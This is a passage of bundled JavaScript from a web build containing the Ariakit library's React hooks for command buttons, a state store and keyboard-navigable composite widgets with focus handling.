29708 } else if (isSpace) {
29709 activeRef.current = true;
29710 if (!nativeClick) {
29711 event.preventDefault();
29712 setActive(true);
29713 }
29714 }
29715 }
29716 });
29717 const onKeyUpProp = props.onKeyUp;
29718 const onKeyUp = useEvent((event) => {
29719 onKeyUpProp == null ? void 0 : onKeyUpProp(event);
29720 if (event.defaultPrevented) return;
29721 if (isDuplicate) return;
29722 if (disabled) return;
29723 if (event.metaKey) return;
29724 const isSpace = clickOnSpace && event.key === " ";
29725 if (activeRef.current && isSpace) {
29726 activeRef.current = false;
29727 if (!isNativeClick(event)) {
29728 event.preventDefault();
29729 setActive(false);
29730 const element = event.currentTarget;
29731 const { view, ...eventInit } = event;
29732 queueMicrotask(() => fireClickEvent(element, eventInit));
29733 }
29734 }
29735 });
29736 props = {
29737 "data-active": active || void 0,
29738 type: isNativeButton ? "button" : void 0,
29739 ...metadataProps,
29740 ...props,
29741 ref: useMergeRefs(ref, props.ref),
29742 onKeyDown,
29743 onKeyUp
29744 };
29745 props = useFocusable(props);
29746 return props;
29747 }
29748 );
29749 var Command = forwardRef22(function Command2(props) {
29750 const htmlProps = useCommand(props);
29751 return createElement5(TagName3, htmlProps);
29752 });
29753
29754 // node_modules/@ariakit/core/esm/__chunks/SXKM4CGU.js
29755 function getInternal(store2, key) {
29756 const internals = store2.__unstableInternals;
29757 invariant(internals, "Invalid store");
29758 return internals[key];
29759 }
29760 function createStore(initialState, ...stores) {
29761 let state = initialState;
29762 let prevStateBatch = state;
29763 let lastUpdate = /* @__PURE__ */ Symbol();
29764 let destroy = noop3;
29765 const instances = /* @__PURE__ */ new Set();
29766 const updatedKeys = /* @__PURE__ */ new Set();
29767 const setups = /* @__PURE__ */ new Set();
29768 const listeners = /* @__PURE__ */ new Set();
29769 const batchListeners = /* @__PURE__ */ new Set();
29770 const disposables = /* @__PURE__ */ new WeakMap();
29771 const listenerKeys = /* @__PURE__ */ new WeakMap();
29772 const storeSetup = (callback) => {
29773 setups.add(callback);
29774 return () => setups.delete(callback);
29775 };
29776 const storeInit = () => {
29777 const initialized = instances.size;
29778 const instance = /* @__PURE__ */ Symbol();
29779 instances.add(instance);
29780 const maybeDestroy = () => {
29781 instances.delete(instance);
29782 if (instances.size) return;
29783 destroy();
29784 };
29785 if (initialized) return maybeDestroy;
29786 const desyncs = getKeys(state).map(
29787 (key) => chain(
29788 ...stores.map((store2) => {
29789 var _a;
29790 const storeState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
29791 if (!storeState) return;
29792 if (!hasOwnProperty(storeState, key)) return;
29793 return sync2(store2, [key], (state2) => {
29794 setState(
29795 key,
29796 state2[key],
29797 // @ts-expect-error - Not public API. This is just to prevent
29798 // infinite loops.
29799 true
29800 );
29801 });
29802 })
29803 )
29804 );
29805 const teardowns = [];
29806 for (const setup2 of setups) {
29807 teardowns.push(setup2());
29808 }
29809 const cleanups = stores.map(init);
29810 destroy = chain(...desyncs, ...teardowns, ...cleanups);
29811 return maybeDestroy;
29812 };
29813 const sub = (keys, listener, set = listeners) => {
29814 set.add(listener);
29815 listenerKeys.set(listener, keys);
29816 return () => {
29817 var _a;
29818 (_a = disposables.get(listener)) == null ? void 0 : _a();
29819 disposables.delete(listener);
29820 listenerKeys.delete(listener);
29821 set.delete(listener);
29822 };
29823 };
29824 const storeSubscribe = (keys, listener) => sub(keys, listener);
29825 const storeSync = (keys, listener) => {
29826 disposables.set(listener, listener(state, state));
29827 return sub(keys, listener);
29828 };
29829 const storeBatch = (keys, listener) => {
29830 disposables.set(listener, listener(state, prevStateBatch));
29831 return sub(keys, listener, batchListeners);
29832 };
29833 const storePick = (keys) => createStore(pick(state, keys), finalStore);
29834 const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
29835 const getState = () => state;
29836 const setState = (key, value, fromStores = false) => {
29837 var _a;
29838 if (!hasOwnProperty(state, key)) return;
29839 const nextValue = applyState(value, state[key]);
29840 if (nextValue === state[key]) return;
29841 if (!fromStores) {
29842 for (const store2 of stores) {
29843 (_a = store2 == null ? void 0 : store2.setState) == null ? void 0 : _a.call(store2, key, nextValue);
29844 }
29845 }
29846 const prevState = state;
29847 state = { ...state, [key]: nextValue };
29848 const thisUpdate = /* @__PURE__ */ Symbol();
29849 lastUpdate = thisUpdate;
29850 updatedKeys.add(key);
29851 const run = (listener, prev, uKeys) => {
29852 var _a2;
29853 const keys = listenerKeys.get(listener);
29854 const updated = (k2) => uKeys ? uKeys.has(k2) : k2 === key;
29855 if (!keys || keys.some(updated)) {
29856 (_a2 = disposables.get(listener)) == null ? void 0 : _a2();
29857 disposables.set(listener, listener(state, prev));
29858 }
29859 };
29860 for (const listener of listeners) {
29861 run(listener, prevState);
29862 }
29863 queueMicrotask(() => {
29864 if (lastUpdate !== thisUpdate) return;
29865 const snapshot = state;
29866 for (const listener of batchListeners) {
29867 run(listener, prevStateBatch, updatedKeys);
29868 }
29869 prevStateBatch = snapshot;
29870 updatedKeys.clear();
29871 });
29872 };
29873 const finalStore = {
29874 getState,
29875 setState,
29876 __unstableInternals: {
29877 setup: storeSetup,
29878 init: storeInit,
29879 subscribe: storeSubscribe,
29880 sync: storeSync,
29881 batch: storeBatch,
29882 pick: storePick,
29883 omit: storeOmit
29884 }
29885 };
29886 return finalStore;
29887 }
29888 function setup(store2, ...args) {
29889 if (!store2) return;
29890 return getInternal(store2, "setup")(...args);
29891 }
29892 function init(store2, ...args) {
29893 if (!store2) return;
29894 return getInternal(store2, "init")(...args);
29895 }
29896 function subscribe(store2, ...args) {
29897 if (!store2) return;
29898 return getInternal(store2, "subscribe")(...args);
29899 }
29900 function sync2(store2, ...args) {
29901 if (!store2) return;
29902 return getInternal(store2, "sync")(...args);
29903 }
29904 function batch(store2, ...args) {
29905 if (!store2) return;
29906 return getInternal(store2, "batch")(...args);
29907 }
29908 function omit2(store2, ...args) {
29909 if (!store2) return;
29910 return getInternal(store2, "omit")(...args);
29911 }
29912 function pick2(store2, ...args) {
29913 if (!store2) return;
29914 return getInternal(store2, "pick")(...args);
29915 }
29916 function mergeStore(...stores) {
29917 var _a;
29918 const initialState = {};
29919 for (const store22 of stores) {
29920 const nextState = (_a = store22 == null ? void 0 : store22.getState) == null ? void 0 : _a.call(store22);
29921 if (nextState) {
29922 Object.assign(initialState, nextState);
29923 }
29924 }
29925 const store2 = createStore(initialState, ...stores);
29926 return Object.assign({}, ...stores, store2);
29927 }
29928 function throwOnConflictingProps(props, store2) {
29929 if (false) return;
29930 if (!store2) return;
29931 const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
29932 var _a;
29933 const stateKey = key.replace("default", "");
29934 return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
29935 });
29936 if (!defaultKeys.length) return;
29937 const storeState = store2.getState();
29938 const conflictingProps = defaultKeys.filter(
29939 (key) => hasOwnProperty(storeState, key)
29940 );
29941 if (!conflictingProps.length) return;
29942 throw new Error(
29943 `Passing a store prop in conjunction with a default state is not supported.
29944
29945const store = useSelectStore();
29946<SelectProvider store={store} defaultValue="Apple" />
29947 ^ ^
29948
29949Instead, pass the default state to the topmost store:
29950
29951const store = useSelectStore({ defaultValue: "Apple" });
29952<SelectProvider store={store} />
29953
29954See https://github.com/ariakit/ariakit/pull/2745 for more details.
29955
29956If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
29957`
29958 );
29959 }
29960
29961 // node_modules/@ariakit/react-core/esm/__chunks/Q5W46E73.js
29962 var React9 = __toESM(require_react(), 1);
29963 var import_shim = __toESM(require_shim(), 1);
29964 var { useSyncExternalStore } = import_shim.default;
29965 var noopSubscribe = () => () => {
29966 };
29967 function useStoreState(store2, keyOrSelector = identity) {
29968 const storeSubscribe = React9.useCallback(
29969 (callback) => {
29970 if (!store2) return noopSubscribe();
29971 return subscribe(store2, null, callback);
29972 },
29973 [store2]
29974 );
29975 const getSnapshot = () => {
29976 const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
29977 const selector2 = typeof keyOrSelector === "function" ? keyOrSelector : null;
29978 const state = store2 == null ? void 0 : store2.getState();
29979 if (selector2) return selector2(state);
29980 if (!state) return;
29981 if (!key) return;
29982 if (!hasOwnProperty(state, key)) return;
29983 return state[key];
29984 };
29985 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
29986 }
29987 function useStoreStateObject(store2, object) {
29988 const objRef = React9.useRef(
29989 {}
29990 );
29991 const storeSubscribe = React9.useCallback(
29992 (callback) => {
29993 if (!store2) return noopSubscribe();
29994 return subscribe(store2, null, callback);
29995 },
29996 [store2]
29997 );
29998 const getSnapshot = () => {
29999 const state = store2 == null ? void 0 : store2.getState();
30000 let updated = false;
30001 const obj = objRef.current;
30002 for (const prop in object) {
30003 const keyOrSelector = object[prop];
30004 if (typeof keyOrSelector === "function") {
30005 const value = keyOrSelector(state);
30006 if (value !== obj[prop]) {
30007 obj[prop] = value;
30008 updated = true;
30009 }
30010 }
30011 if (typeof keyOrSelector === "string") {
30012 if (!state) continue;
30013 if (!hasOwnProperty(state, keyOrSelector)) continue;
30014 const value = state[keyOrSelector];
30015 if (value !== obj[prop]) {
30016 obj[prop] = value;
30017 updated = true;
30018 }
30019 }
30020 }
30021 if (updated) {
30022 objRef.current = { ...obj };
30023 }
30024 return objRef.current;
30025 };
30026 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
30027 }
30028 function useStoreProps(store2, props, key, setKey) {
30029 const value = hasOwnProperty(props, key) ? props[key] : void 0;
30030 const setValue = setKey ? props[setKey] : void 0;
30031 const propsRef = useLiveRef({ value, setValue });
30032 useSafeLayoutEffect(() => {
30033 return sync2(store2, [key], (state, prev) => {
30034 const { value: value2, setValue: setValue2 } = propsRef.current;
30035 if (!setValue2) return;
30036 if (state[key] === prev[key]) return;
30037 if (state[key] === value2) return;
30038 setValue2(state[key]);
30039 });
30040 }, [store2, key]);
30041 useSafeLayoutEffect(() => {
30042 if (value === void 0) return;
30043 store2.setState(key, value);
30044 return batch(store2, [key], () => {
30045 if (value === void 0) return;
30046 store2.setState(key, value);
30047 });
30048 });
30049 }
30050 function useStore(createStore2, props) {
30051 const [store2, setStore] = React9.useState(() => createStore2(props));
30052 useSafeLayoutEffect(() => init(store2), [store2]);
30053 const useState210 = React9.useCallback(
30054 (keyOrSelector) => useStoreState(store2, keyOrSelector),
30055 [store2]
30056 );
30057 const memoizedStore = React9.useMemo(
30058 () => ({ ...store2, useState: useState210 }),
30059 [store2, useState210]
30060 );
30061 const updateStore = useEvent(() => {
30062 setStore((store22) => createStore2({ ...props, ...store22.getState() }));
30063 });
30064 return [memoizedStore, updateStore];
30065 }
30066
30067 // node_modules/@ariakit/react-core/esm/__chunks/WZWDIE3S.js
30068 var import_react15 = __toESM(require_react(), 1);
30069 var import_jsx_runtime207 = __toESM(require_jsx_runtime(), 1);
30070 var TagName4 = "button";
30071 function isEditableElement(element) {
30072 if (isTextbox(element)) return true;
30073 return element.tagName === "INPUT" && !isButton(element);
30074 }
30075 function getNextPageOffset(scrollingElement, pageUp = false) {
30076 const height = scrollingElement.clientHeight;
30077 const { top } = scrollingElement.getBoundingClientRect();
30078 const pageSize = Math.max(height * 0.875, height - 40) * 1.5;
30079 const pageOffset = pageUp ? height - pageSize + top : pageSize + top;
30080 if (scrollingElement.tagName === "HTML") {
30081 return pageOffset + scrollingElement.scrollTop;
30082 }
30083 return pageOffset;
30084 }
30085 function getItemOffset(itemElement, pageUp = false) {
30086 const { top } = itemElement.getBoundingClientRect();
30087 if (pageUp) {
30088 return top + itemElement.clientHeight;
30089 }
30090 return top;
30091 }
30092 function findNextPageItemId(element, store2, next, pageUp = false) {
30093 var _a;
30094 if (!store2) return;
30095 if (!next) return;
30096 const { renderedItems } = store2.getState();
30097 const scrollingElement = getScrollingElement(element);
30098 if (!scrollingElement) return;
30099 const nextPageOffset = getNextPageOffset(scrollingElement, pageUp);
30100 let id;
30101 let prevDifference;
30102 for (let i2 = 0; i2 < renderedItems.length; i2 += 1) {
30103 const previousId = id;
30104 id = next(i2);
30105 if (!id) break;
30106 if (id === previousId) continue;
30107 const itemElement = (_a = getEnabledItem(store2, id)) == null ? void 0 : _a.element;
30108 if (!itemElement) continue;
30109 const itemOffset = getItemOffset(itemElement, pageUp);
30110 const difference = itemOffset - nextPageOffset;
30111 const absDifference = Math.abs(difference);
30112 if (pageUp && difference <= 0 || !pageUp && difference >= 0) {
30113 if (prevDifference !== void 0 && prevDifference < absDifference) {
30114 id = previousId;
30115 }
30116 break;
30117 }
30118 prevDifference = absDifference;
30119 }
30120 return id;
30121 }
30122 function targetIsAnotherItem(event, store2) {
30123 if (isSelfTarget(event)) return false;
30124 return isItem(store2, event.target);
30125 }
30126 var useCompositeItem = createHook(
30127 function useCompositeItem2({
30128 store: store2,
30129 rowId: rowIdProp,
30130 preventScrollOnKeyDown = false,
30131 moveOnKeyPress = true,
30132 tabbable = false,
30133 getItem: getItemProp,
30134 "aria-setsize": ariaSetSizeProp,
30135 "aria-posinset": ariaPosInSetProp,
30136 ...props
30137 }) {
30138 const context = useCompositeContext();
30139 store2 = store2 || context;
30140 const id = useId5(props.id);
30141 const ref = (0, import_react15.useRef)(null);
30142 const row = (0, import_react15.useContext)(CompositeRowContext);
30143 const disabled = disabledFromProps(props);
30144 const trulyDisabled = disabled && !props.accessibleWhenDisabled;
30145 const {
30146 rowId,
30147 baseElement,
30148 isActiveItem,
30149 ariaSetSize,
30150 ariaPosInSet,
30151 isTabbable
30152 } = useStoreStateObject(store2, {
30153 rowId(state) {
30154 if (rowIdProp) return rowIdProp;
30155 if (!state) return;
30156 if (!(row == null ? void 0 : row.baseElement)) return;
30157 if (row.baseElement !== state.baseElement) return;
30158 return row.id;
30159 },
30160 baseElement(state) {
30161 return (state == null ? void 0 : state.baseElement) || void 0;
30162 },
30163 isActiveItem(state) {
30164 return !!state && state.activeId === id;
30165 },
30166 ariaSetSize(state) {
30167 if (ariaSetSizeProp != null) return ariaSetSizeProp;
30168 if (!state) return;
30169 if (!(row == null ? void 0 : row.ariaSetSize)) return;
30170 if (row.baseElement !== state.baseElement) return;
30171 return row.ariaSetSize;
30172 },
30173 ariaPosInSet(state) {
30174 if (ariaPosInSetProp != null) return ariaPosInSetProp;
30175 if (!state) return;
30176 if (!(row == null ? void 0 : row.ariaPosInSet)) return;
30177 if (row.baseElement !== state.baseElement) return;
30178 const itemsInRow = state.renderedItems.filter(
30179 (item) => item.rowId === rowId
30180 );
30181 return row.ariaPosInSet + itemsInRow.findIndex((item) => item.id === id);
30182 },
30183 isTabbable(state) {
30184 if (!(state == null ? void 0 : state.renderedItems.length)) return true;
30185 if (state.virtualFocus) return false;
30186 if (tabbable) return true;
30187 if (state.activeId === null) return false;
30188 const item = store2 == null ? void 0 : store2.item(state.activeId);
30189 if (item == null ? void 0 : item.disabled) return true;
30190 if (!(item == null ? void 0 : item.element)) return true;
30191 return state.activeId === id;
30192 }
30193 });
30194 const getItem = (0, import_react15.useCallback)(
30195 (item) => {
30196 var _a;
30197 const nextItem = {
30198 ...item,
30199 id: id || item.id,
30200 rowId,
30201 disabled: !!trulyDisabled,
30202 children: (_a = item.element) == null ? void 0 : _a.textContent
30203 };
30204 if (getItemProp) {
30205 return getItemProp(nextItem);
30206 }
30207 return nextItem;
30208 },
30209 [id, rowId, trulyDisabled, getItemProp]
30210 );
30211 const onFocusProp = props.onFocus;
30212 const hasFocusedComposite = (0, import_react15.useRef)(false);
30213 const onFocus = useEvent((event) => {
30214 onFocusProp == null ? void 0 : onFocusProp(event);
30215 if (event.defaultPrevented) return;
30216 if (isPortalEvent(event)) return;
30217 if (!id) return;
30218 if (!store2) return;
30219 if (targetIsAnotherItem(event, store2)) return;
30220 const { virtualFocus, baseElement: baseElement2 } = store2.getState();
30221 store2.setActiveId(id);
30222 if (isTextbox(event.currentTarget)) {
30223 selectTextField(event.currentTarget);
30224 }
30225 if (!virtualFocus) return;
30226 if (!isSelfTarget(event)) return;
30227 if (isEditableElement(event.currentTarget)) return;
30228 if (!(baseElement2 == null ? void 0 : baseElement2.isConnected)) return;
30229 if (isSafari() && event.currentTarget.hasAttribute("data-autofocus")) {
30230 event.currentTarget.scrollIntoView({
30231 block: "nearest",
30232 inline: "nearest"
30233 });
30234 }
30235 hasFocusedComposite.current = true;
30236 const fromComposite = event.relatedTarget === baseElement2 || isItem(store2, event.relatedTarget);
30237 if (fromComposite) {
30238 focusSilently(baseElement2);
30239 } else {
30240 baseElement2.focus();
30241 }
30242 });
30243 const onBlurCaptureProp = props.onBlurCapture;
30244 const onBlurCapture = useEvent((event) => {
30245 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
30246 if (event.defaultPrevented) return;
30247 const state = store2 == null ? void 0 : store2.getState();
30248 if ((state == null ? void 0 : state.virtualFocus) && hasFocusedComposite.current) {
30249 hasFocusedComposite.current = false;
30250 event.preventDefault();
30251 event.stopPropagation();
30252 }
30253 });
30254 const onKeyDownProp = props.onKeyDown;
30255 const preventScrollOnKeyDownProp = useBooleanEvent(preventScrollOnKeyDown);
30256 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
30257 const onKeyDown = useEvent((event) => {
30258 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
30259 if (event.defaultPrevented) return;
30260 if (!isSelfTarget(event)) return;
30261 if (!store2) return;
30262 const { currentTarget } = event;
30263 const state = store2.getState();
30264 const item = store2.item(id);
30265 const isGrid2 = !!(item == null ? void 0 : item.rowId);
30266 const isVertical = state.orientation !== "horizontal";
30267 const isHorizontal = state.orientation !== "vertical";
30268 const canHomeEnd = () => {
30269 if (isGrid2) return true;
30270 if (isHorizontal) return true;
30271 if (!state.baseElement) return true;
30272 if (!isTextField(state.baseElement)) return true;
30273 return false;
30274 };
30275 const keyMap = {
30276 ArrowUp: (isGrid2 || isVertical) && store2.up,
30277 ArrowRight: (isGrid2 || isHorizontal) && store2.next,
30278 ArrowDown: (isGrid2 || isVertical) && store2.down,
30279 ArrowLeft: (isGrid2 || isHorizontal) && store2.previous,
30280 Home: () => {
30281 if (!canHomeEnd()) return;
30282 if (!isGrid2 || event.ctrlKey) {
30283 return store2 == null ? void 0 : store2.first();
30284 }
30285 return store2 == null ? void 0 : store2.previous(-1);
30286 },
30287 End: () => {
30288 if (!canHomeEnd()) return;
30289 if (!isGrid2 || event.ctrlKey) {
30290 return store2 == null ? void 0 : store2.last();
30291 }
30292 return store2 == null ? void 0 : store2.next(-1);
30293 },
30294 PageUp: () => {
30295 return findNextPageItemId(currentTarget, store2, store2 == null ? void 0 : store2.up, true);
30296 },
30297 PageDown: () => {
30298 return findNextPageItemId(currentTarget, store2, store2 == null ? void 0 : store2.down);
30299 }
30300 };
30301 const action = keyMap[event.key];
30302 if (action) {
30303 if (isTextbox(currentTarget)) {
30304 const selection = getTextboxSelection(currentTarget);
30305 const isLeft = isHorizontal && event.key === "ArrowLeft";
30306 const isRight = isHorizontal && event.key === "ArrowRight";
30307 const isUp = isVertical && event.key === "ArrowUp";
30308 const isDown = isVertical && event.key === "ArrowDown";
30309 if (isRight || isDown) {
30310 const { length: valueLength } = getTextboxValue(currentTarget);
30311 if (selection.end !== valueLength) return;
30312 } else if ((isLeft || isUp) && selection.start !== 0) return;
30313 }
30314 const nextId2 = action();
30315 if (preventScrollOnKeyDownProp(event) || nextId2 !== void 0) {
30316 if (!moveOnKeyPressProp(event)) return;
30317 event.preventDefault();
30318 store2.move(nextId2);
30319 }
30320 }
30321 });
30322 const providerValue = (0, import_react15.useMemo)(
30323 () => ({ id, baseElement }),
30324 [id, baseElement]
30325 );
30326 props = useWrapElement(
30327 props,
30328 (element) => /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(CompositeItemContext.Provider, { value: providerValue, children: element }),
30329 [providerValue]
30330 );
30331 props = {
30332 id,
30333 "data-active-item": isActiveItem || void 0,
30334 ...props,
30335 ref: useMergeRefs(ref, props.ref),
30336 tabIndex: isTabbable ? props.tabIndex : -1,
30337 onFocus,
30338 onBlurCapture,
30339 onKeyDown
30340 };
30341 props = useCommand(props);
30342 props = useCollectionItem({
30343 store: store2,
30344 ...props,
30345 getItem,
30346 shouldRegisterItem: id ? props.shouldRegisterItem : false
30347 });
30348 return removeUndefinedValues({
30349 ...props,
30350 "aria-setsize": ariaSetSize,
30351 "aria-posinset": ariaPosInSet
30352 });
30353 }
30354 );
30355 var CompositeItem = memo22(
30356 forwardRef22(function CompositeItem2(props) {
30357 const htmlProps = useCompositeItem(props);
30358 return createElement5(TagName4, htmlProps);
30359 })
30360 );
30361
30362 // node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
30363 function toArray2(arg) {
30364 if (Array.isArray(arg)) {
30365 return arg;
30366 }
30367 return typeof arg !== "undefined" ? [arg] : [];
30368 }
30369 function flatten2DArray(array) {
30370 const flattened = [];
30371 for (const row of array) {
30372 flattened.push(...row);
30373 }
30374 return flattened;
30375 }
30376 function reverseArray(array) {
30377 return array.slice().reverse();
30378 }
30379
30380 // node_modules/@ariakit/react-core/esm/__chunks/ZMWF7ASR.js
30381 var import_react16 = __toESM(require_react(), 1);
30382 var import_jsx_runtime208 = __toESM(require_jsx_runtime(), 1);
30383 var TagName5 = "div";
30384 function isGrid(items) {
30385 return items.some((item) => !!item.rowId);
30386 }
30387 function isPrintableKey(event) {
30388 const target = event.target;
30389 if (target && !isTextField(target)) return false;
30390 return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
30391 }
30392 function isModifierKey(event) {
30393 return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
30394 }
30395 function useKeyboardEventProxy(store2, onKeyboardEvent, previousElementRef) {
30396 return useEvent((event) => {
30397 var _a;
30398 onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
30399 if (event.defaultPrevented) return;
30400 if (event.isPropagationStopped()) return;
30401 if (!isSelfTarget(event)) return;
30402 if (isModifierKey(event)) return;
30403 if (isPrintableKey(event)) return;
30404 const state = store2.getState();
30405 const activeElement = (_a = getEnabledItem(store2, state.activeId)) == null ? void 0 : _a.element;
30406 if (!activeElement) return;
30407 const { view, ...eventInit } = event;
30408 const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
30409 if (activeElement !== previousElement) {
30410 activeElement.focus();
30411 }
30412 if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
30413 event.preventDefault();
30414 }
30415 if (event.currentTarget.contains(activeElement)) {
30416 event.stopPropagation();
30417 }
30418 });
30419 }
30420 function findFirstEnabledItemInTheLastRow(items) {
30421 return findFirstEnabledItem(
30422 flatten2DArray(reverseArray(groupItemsByRows(items)))
30423 );
30424 }
30425 function useScheduleFocus(store2) {
30426 const [scheduled, setScheduled] = (0, import_react16.useState)(false);
30427 const schedule2 = (0, import_react16.useCallback)(() => setScheduled(true), []);
30428 const activeItem = store2.useState(
30429 (state) => getEnabledItem(store2, state.activeId)
30430 );
30431 (0, import_react16.useEffect)(() => {
30432 const activeElement = activeItem == null ? void 0 : activeItem.element;
30433 if (!scheduled) return;
30434 if (!activeElement) return;
30435 setScheduled(false);
30436 activeElement.focus({ preventScroll: true });
30437 }, [activeItem, scheduled]);
30438 return schedule2;
30439 }
30440 var useComposite = createHook(
30441 function useComposite2({
30442 store: store2,
30443 composite = true,
30444 focusOnMove = composite,
30445 moveOnKeyPress = true,
30446 ...props
30447 }) {
30448 const context = useCompositeProviderContext();
30449 store2 = store2 || context;
30450 invariant(
30451 store2,
30452 "Composite must receive a `store` prop or be wrapped in a CompositeProvider component."
30453 );
30454 const ref = (0, import_react16.useRef)(null);
30455 const previousElementRef = (0, import_react16.useRef)(null);
30456 const scheduleFocus = useScheduleFocus(store2);
30457 const moves = store2.useState("moves");
30458 const [, setBaseElement] = useTransactionState(
30459 composite ? store2.setBaseElement : null
30460 );
30461 (0, import_react16.useEffect)(() => {
30462 var _a;
30463 if (!store2) return;
30464 if (!moves) return;
30465 if (!composite) return;
30466 if (!focusOnMove) return;
30467 const { activeId: activeId2 } = store2.getState();
30468 const itemElement = (_a = getEnabledItem(store2, activeId2)) == null ? void 0 : _a.element;
30469 if (!itemElement) return;
30470 focusIntoView(itemElement);
30471 }, [store2, moves, composite, focusOnMove]);
30472 useSafeLayoutEffect(() => {
30473 if (!store2) return;
30474 if (!moves) return;
30475 if (!composite) return;
30476 const { baseElement, activeId: activeId2 } = store2.getState();
30477 const isSelfAcive = activeId2 === null;
30478 if (!isSelfAcive) return;
30479 if (!baseElement) return;
30480 const previousElement = previousElementRef.current;
30481 previousElementRef.current = null;
30482 if (previousElement) {
30483 fireBlurEvent(previousElement, { relatedTarget: baseElement });
30484 }
30485 if (!hasFocus(baseElement)) {
30486 baseElement.focus();
30487 }
30488 }, [store2, moves, composite]);
30489 const activeId = store2.useState("activeId");
30490 const virtualFocus = store2.useState("virtualFocus");
30491 useSafeLayoutEffect(() => {
30492 var _a;
30493 if (!store2) return;
30494 if (!composite) return;
30495 if (!virtualFocus) return;
30496 const previousElement = previousElementRef.current;
30497 previousElementRef.current = null;
30498 if (!previousElement) return;
30499 const activeElement = (_a = getEnabledItem(store2, activeId)) == null ? void 0 : _a.element;
30500 const relatedTarget = activeElement || getActiveElement(previousElement);
30501 if (relatedTarget === previousElement) return;
30502 fireBlurEvent(previousElement, { relatedTarget });
30503 }, [store2, activeId, virtualFocus, composite]);
30504 const onKeyDownCapture = useKeyboardEventProxy(
30505 store2,
30506 props.onKeyDownCapture,
30507 previousElementRef
30508 );
30509 const onKeyUpCapture = useKeyboardEventProxy(
30510 store2,
30511 props.onKeyUpCapture,
30512 previousElementRef
30513 );
30514 const onFocusCaptureProp = props.onFocusCapture;
30515 const onFocusCapture = useEvent((event) => {
30516 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
30517 if (event.defaultPrevented) return;
30518 if (!store2) return;
30519 const { virtualFocus: virtualFocus2 } = store2.getState();
30520 if (!virtualFocus2) return;
30521 const previousActiveElement = event.relatedTarget;
30522 const isSilentlyFocused = silentlyFocused(event.currentTarget);
30523 if (isSelfTarget(event) && isSilentlyFocused) {
30524 event.stopPropagation();
30525 previousElementRef.current = previousActiveElement;
30526 }
30527 });
30528 const onFocusProp = props.onFocus;
30529 const onFocus = useEvent((event) => {
30530 onFocusProp == null ? void 0 : onFocusProp(event);
30531 if (event.defaultPrevented) return;
30532 if (!composite) return;
30533 if (!store2) return;
30534 const { relatedTarget } = event;
30535 const { virtualFocus: virtualFocus2 } = store2.getState();
30536 if (virtualFocus2) {
30537 if (isSelfTarget(event) && !isItem(store2, relatedTarget)) {
30538 queueMicrotask(scheduleFocus);
30539 }
30540 } else if (isSelfTarget(event)) {
30541 store2.setActiveId(null);
30542 }
30543 });
30544 const onBlurCaptureProp = props.onBlurCapture;
30545 const onBlurCapture = useEvent((event) => {
30546 var _a;
30547 onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
30548 if (event.defaultPrevented) return;
30549 if (!store2) return;
30550 const { virtualFocus: virtualFocus2, activeId: activeId2 } = store2.getState();
30551 if (!virtualFocus2) return;
30552 const activeElement = (_a = getEnabledItem(store2, activeId2)) == null ? void 0 : _a.element;
30553 const nextActiveElement = event.relatedTarget;
30554 const nextActiveElementIsItem = isItem(store2, nextActiveElement);
30555 const previousElement = previousElementRef.current;
30556 previousElementRef.current = null;
30557 if (isSelfTarget(event) && nextActiveElementIsItem) {
30558 if (nextActiveElement === activeElement) {
30559 if (previousElement && previousElement !== nextActiveElement) {
30560 fireBlurEvent(previousElement, event);
30561 }
30562 } else if (activeElement) {
30563 fireBlurEvent(activeElement, event);
30564 } else if (previousElement) {
30565 fireBlurEvent(previousElement, event);
30566 }
30567 event.stopPropagation();
30568 } else {
30569 const targetIsItem = isItem(store2, event.target);
30570 if (!targetIsItem && activeElement) {
30571 fireBlurEvent(activeElement, event);
30572 }
30573 }
30574 });
30575 const onKeyDownProp = props.onKeyDown;
30576 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
30577 const onKeyDown = useEvent((event) => {
30578 var _a;
30579 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
30580 if (event.nativeEvent.isComposing) return;
30581 if (event.defaultPrevented) return;
30582 if (!store2) return;
30583 if (!isSelfTarget(event)) return;
30584 const { orientation, renderedItems, activeId: activeId2 } = store2.getState();
30585 const activeItem = getEnabledItem(store2, activeId2);
30586 if ((_a = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a.isConnected) return;
30587 const isVertical = orientation !== "horizontal";
30588 const isHorizontal = orientation !== "vertical";
30589 const grid = isGrid(renderedItems);
30590 const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
30591 if (isHorizontalKey && isTextField(event.currentTarget)) return;
30592 const up = () => {
30593 if (grid) {
30594 const item = findFirstEnabledItemInTheLastRow(renderedItems);
30595 return item == null ? void 0 : item.id;
30596 }
30597 return store2 == null ? void 0 : store2.last();
30598 };
30599 const keyMap = {
30600 ArrowUp: (grid || isVertical) && up,
30601 ArrowRight: (grid || isHorizontal) && store2.first,
30602 ArrowDown: (grid || isVertical) && store2.first,
30603 ArrowLeft: (grid || isHorizontal) && store2.last,
30604 Home: store2.first,
30605 End: store2.last,
30606 PageUp: store2.first,
30607 PageDown: store2.last
30608 };
30609 const action = keyMap[event.key];
30610 if (action) {
30611 const id = action();
30612 if (id !== void 0) {
30613 if (!moveOnKeyPressProp(event)) return;
30614 event.preventDefault();
30615 store2.move(id);
30616 }
30617 }
30618 });
30619 props = useWrapElement(
30620 props,
